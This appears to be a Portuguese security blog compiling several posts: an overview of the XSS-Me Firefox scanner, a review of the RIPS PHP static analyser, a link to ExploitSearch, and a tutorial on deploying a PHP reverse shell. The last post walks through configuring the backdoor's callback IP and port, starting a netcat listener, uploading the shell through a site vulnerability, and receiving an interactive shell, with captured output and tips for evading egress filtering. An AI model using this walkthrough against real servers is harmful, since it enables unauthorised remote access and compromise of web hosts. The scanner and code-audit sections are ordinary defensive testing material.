XSS-ME : Addon para Firefox de Análise de XSS

O XSS-me é um dos módulos de análise da suíte EXPLOIT-ME. Ela foi concebida pela empresa SECCOM Labs com o intuito de facilitar testes de segurança em aplicações web, fazendo com que a varredura de vulnerabilidades conhecidas como as TOP 10, ou seja, as que estão mais presentes, sejam detectadas em Forms e Inputs dentro de páginas web.

Basicamente o XSS-Me foi criado para testes utilizando vulnerabilidades de Reflected Cross-Site Scripting, e não Stored XSS.

A ferramenta trabalha enviando seu HTML forms e substituindo o valor do Form com strings que seriam utilizadas para explorar falhas de XSS attacks.

Se o resultado do HTML contiver um valor específico de JavaScript (document.vulnerable=true) significa que a página está vulnerável para aquela determinada string de XSS.

Um ponto importante que deve ser citado é que a ferramenta não  faz nenhuma tentativa de comprometer a segurança do sistema alvo. Ela procura por possíveis pontos de vulnerabilidade contra o sistema.  Desta forma não é efetuado nenhum tipo de port scanning, packet sniffing, password cracking ou firewall attacks a partir da ferramenta.

A ferramenta simplesmente automatiza o que um QA tester faria no site manualmente, injetando ele mesmo diretamente no browser as strings diretamente nos form fields.

xss-me01

A imagem acima mostra a SideBar do XSS-Me me mostrando as opções disponíveis quando eu abro o site do Google.  Automaticamente ela identifica as URLs que estão como links no Form e você pode testar o Form ou os Links que estão disponíveis nele.

Quando se escolhe o Form podemos escolher Strings específicas, rodar todos os Testes, ou optar por executar o Top 9 Tests, que irá varrer procurando pelas strings mais conhecidas.

O Xss-ME detecta todos os tipos de Cross-site Scriping ?

A resposta é óbvia: Não. O Xss-Me detecta muitos tipos de Reflected Cross-Site Scripting nos campos dos forms. Infelizmente ele não tem métodos para realmente efetuar o ataque de XSS (exemplo, um stored cross-site scripting precisa de dados fornecidos pelo usuário, ou então utilizar outras fontes como Cookies, links, ou Headers HTTP).   Porém novos vetores de XSS estão sendo descobertos o tempo todo e um dos pontos fortes do XSS-Me é que permite que você adicione novas strings de acordo com sua necessidade específica.

Para adicionar novas Assinaturas,  use o XSS-Strings Options , no menu Tools -> Xss-Me -> Options. Adicione o ataque em “Attack String”. Lembre-se que o ataque deve conter a string “document.vulnerable=true” no resultado do JavaScript para que a ferramenta possa interpretar o resultado corretamente. Por exemplo:

<script>document.vulnerable=true</script>

Resultados

Xss-Me tem 3 tipos de resultados:

Failures:  O número de testes que certamente resultaram na detecção de Reflected XSS.

Warnings: O número de testes que podem possivelmente resultar na detecção de um cross-site scripting, porém não pode validar com certeza porque o plugin não modifica o DOM Object no Firefox como é especificado no JavaScript, mas ele pode resultar em um ataque com sucesso em um browser diferente.

Pass: O número de testes que não resultaram em  detecção de reflected XSS

No próximo artigo iremos ver a outra ferramenta da Suite chamada  SQL-Me que atua da mesma forma porém utilizando testes de SQL-Injection.

Fontes:

http://labs.securitycompass.com/index.php/exploit-me/xss-me

Advertisements

Auditando Aplicações: Análise Estática de Códigos

Cada vez mais serviços estão sendo direcionados para plataforma web, sendo assim acabamos ficando dependentes ainda mais destas aplicações. Estes sistemas tem que ser cada vez mais onipresentes (quero acessá-los de qualquer lugar – cloud) confiáveis (quero que ele faça o que ele precisa fazer) e ágeis (quero que façam isso rápido!).

Qual a consequência disto? A consequência imediata é: sistemas cada vez mais complexos. Quando digo complexo não me refiro tão somente a complexidade do código fonte ou o seu desenvolvimento, mas também a complexidade inerente ao serviço em si. Cada vez mais APIs, cada vez mais plugins, cada vez mais sistemas interconectados e interdependentes.

Uma vez que a complexidade entrou na equação ela traz o seu efeito colateral: situações inesperadas.  Quando temos um ciclo de vida em nossa aplicação que não contempla o devido cuidado com segurança, temos implicações de diversos níveis. A maior delas é que em geral problemas que a primeira vista são simples e pequenos, acabam se tornando  verdadeiros pesadelos.

Análise Estática do Código consiste basicamente em antever problemas de segurança efetuando uma auditoria no código, sem executá-lo. Isso pode se tornar uma tarefa muito trabalhosa, especialmente quando o desenvolvedor não tem experiência com segurança e se não existe um framework de desenvolvimento seguro em uso no projeto.

As aplicações web são alvos constantes de ataques, quase que 24 horas por dia. Temos estatiscas de que muitas vezes, 60% do tráfego diário que chega a um website é gerado por bots que em sua grande maioria estão procurando por scripts vulneráveis para efetuar ataques, comprometer o servidor e a aplicação e fazê-la parte de sua rede de zumbis. Não seria nada legal ter seu e-Commerce em uma lista de hosts que estão disseminando Malwares para os usuários. Isto pode comprometer gravemente seus negócios.

Para auxiliar desenvolvedores neste árduo processo de análise estática, temos algumas aplicações muito interessantes e que podem realmente trazer a tona, muitas vezes problemas de segurança que não eram imaginados durante o desenvolvimento. Talvez aquele “warning” que seu compilador cuspiu na tela e você pensou “ah mas é apenas um warning, não tem nada de grave ai..” esconda muito mais do que imagina J

RIPS – Analisador Estático de vulnerabilidades em código fonte de Scripts PHP

RIPS é uma ferramenta escrita em PHP para encontrar vulnerabilidades em aplicações PHP utilizando o conceito de análise estática do código. Utilizando tokenização e parseando todos os arquivos de código PHP, ele consegue transformar seu código fonte PHP em program model e detectar sinks sensíveis (pontecialmente funções vulneráveis) que poderiam ser manipuladas por um userinput (influenciada por um usuário malicioso) durante o fluxo do programa. Além disto, baseado  na estrutura de output de uma vulnerabilidade encontrada, RIPS também oferece um framework integrado de code audit  para que você possa fazer uma análise manual.

Entre algumas das features apresentas pelo RIPS temos:

RIPS consegue identificar por padrão diversas vulnerabilidades em sua aplicação, em sua grande maioria as listadas no OWASP Top 10 são identificadas. Segue abaixo uma pequena lista das principais vulnerabilidades identificadas pela aplicação:

  • Code Execution
  • Command Execution
  • Cross-Site Scripting
  • Header Injection
  • File Disclosure
  • File Inclusion
  • File Manipulation
  • LDAP Injection
  • SQL Injection
  • XPath Injection

A interface de auditoria de código do RIPS consiste de algumas funcionalidades muito interessantes, entre elas podemos citar:

  • Estatísticas referentes ao Scans e as vulnerabilidades da aplicação
  • Linhas de código vulneraveis são agrupadas
  • Descrição das Vulnerabilidades com exemplo de código, PoC e patch
  • Engine que permite a criação do Exploit para explorer a vulnerabilidade encontrada
  • Exibição gráfica de arquivos (conectada pelos includes)
  • Exibição gráfica de funções (conectadas pelas calls)
  • userinput list (parámetros da aplicação)
  • visualização do código fonte com destaque em funções e parametros

Entre muitas outras que permitem que você faça o debug da aplicação utilizando inclusive expressões regulares. Efetuando a análise estática do código com RIPs, você consegue rapidez ao executar a análise (executar uma análise estática manualmente pode ser dolorosamente demorado).  Você consegue identificar blind/non-blind SQL exploitation, detectar backdoors em seu código entre outras vantagens.

Aplicação sendo analisada – Temos os resultados Preliminares com o número de funções vulneráveis.

Visualização gráfica dos Arquivos  – Interligação ocorre através dos Includes.

Engine permite criar Exploits para gerar PoC da vulnerabilidade.

Download + Instalação

O Download pode ser feito a partir do site http://rips-scanner.sourceforge.net

Para utilizar o RIPs você precisa primeiramente de um webserver local com suporte a PHP (tendo em vista que você é um desenvolvedor PHP, você já deve ter um J ).

Feito isto basta baixar a ultima versão estável , extrair os arquivos em seu Document Root do servidor web e acessar a interface, disponível em: <http://ip_servidor/rips>, e iniciar as análises.

ExploitSearch: Google Hacking for Exploits

O site ExploitSearch.com é uma ferramenta muito útil para pentestes e analistas de segurança porque utiliza a Engine do Google para fazer buscas pela internet por materiais relacionados à determinada vulnerabilidade pesquisada. Em geral ele utiliza referências de links para falhas postadas no site SecurityFocus.com

exploit search

Good Hacking !

http://exploitsearch.com

PHP-Reverse-Shell

Esta ferramenta criada em PHP, foi criada para ocasiões durante um pentest onde você consegue encontrar uma falha em uma aplicação Web ou Servidor Web que roda PHP. Imagine que neste pentest que os únicos mount points que você consegue utilizar estejam como noexec, sendo assim o envio de um script pre-compilado, como por exemplo uma backdoor em C, não sejam úteis. Neste caso você precisa de um script de alguma linguagem que ja esteja pre-instalada e executando no servidor alvo, como é o caso do Perl ou do PHP.

Para utilizar esta ferramenta basta fazer o upload da mesma em qualquer lugar do WebRoot e acessá-la via browser. Fazendo isto ela ira abrir um canal de comunicação TCP através de uma porta e estabelecerá uma Shell Interativa para que você possa acessar o console do servidor.

Download

php-reverse-shell-1.0.tar.gz

MD5sum:2bdf99cee7b302afdc45d1d51ac7e373

SHA1sum: 30a26d5b5e30d819679e0d1eb44e46814892a4ee

Let’s Hack it :)

Modificando o Source

Para prevenir que qualquer um abuse de sua backdoor enquanto você a utiliza é necessário modificar o source code para indicar em qual host você irá fazer o Reverse ConnectBack. Para isto basta editar as linhas a seguir:

$ip = '127.0.0.1';  // MUDE AQUI $port = 1234;       // MUDE AQUI

Pronto para receber uma Shell Reversa

Inicie um TCP Listener no host o qual você enviará a shell. É obvio que você deve utilizar a mesma porta que setou no script php. (1234 no nosso exemplo):

$ nc -v -n -l -p 1234

Enviando e Executando

Usando qualquer vulnerabilidade que você descobriu no Website, faça upload do php-reverse-shell.php. Execute o Script simplesmente acessando com o Browser o URL onde você colocou o script. Você não irá ver nenhum output na no browser, sendo assim não se assuste.

http://target/php-reverse-shell.php

Aproveite a Shell Nova

Se tudo correr bem e você fez tudo corrretamente o web server vai retornar uma Shell em sua porta TCP no Netcat. Alguns comandos úteis como uname -a, w, id e pwd serão executados automaticamente para você:

$ nc -v -n -l -p 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 58012
Linux somehost 2.6.19-gentoo-r5 #1 SMP PREEMPT Sun Apr 1 16:49:38 BST 2007 x86_64 AMD Athlon(tm) 64 X2 Dual Core Processor 4200+ AuthenticAMD GNU/Linux
 16:59:28 up 39 days, 19:54,  2 users,  load average: 0.18, 0.13, 0.10
USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
root   :0        19May07 ?xdm?   5:10m  0.01s /bin/sh
uid=81(apache) gid=81(apache) groups=81(apache)
sh: no job control in this shell
sh-3.2$

Abaixo segue um videozinho mostrando a execução do php-reverse-shell.

Qualquer Egress Filtering irá prevenir você de utilizar este tipo de backdoor, desta forma você deve procurar uma porta que seja possível fazer walkthrough no firewall. As portas mais comuns são:

– 80/tcp, 443/tcp e 53/tcp

A execução desta backdoor geraria algo suspeito se o Admin executasse um “ps”?

SIM, este script é muito simples então ele não faz nenhum hook() no sistema :

apache   28106  0.0  0.0  10428  1216 ?        S    17:15   0:00 sh -c uname -a; w; id; /bin/sh -i
apache   28110  0.0  0.0  10172  1428 ?        S    17:15   0:00 /bin/sh -i

Espero que tenham gostado.

Good Hacking 4 All.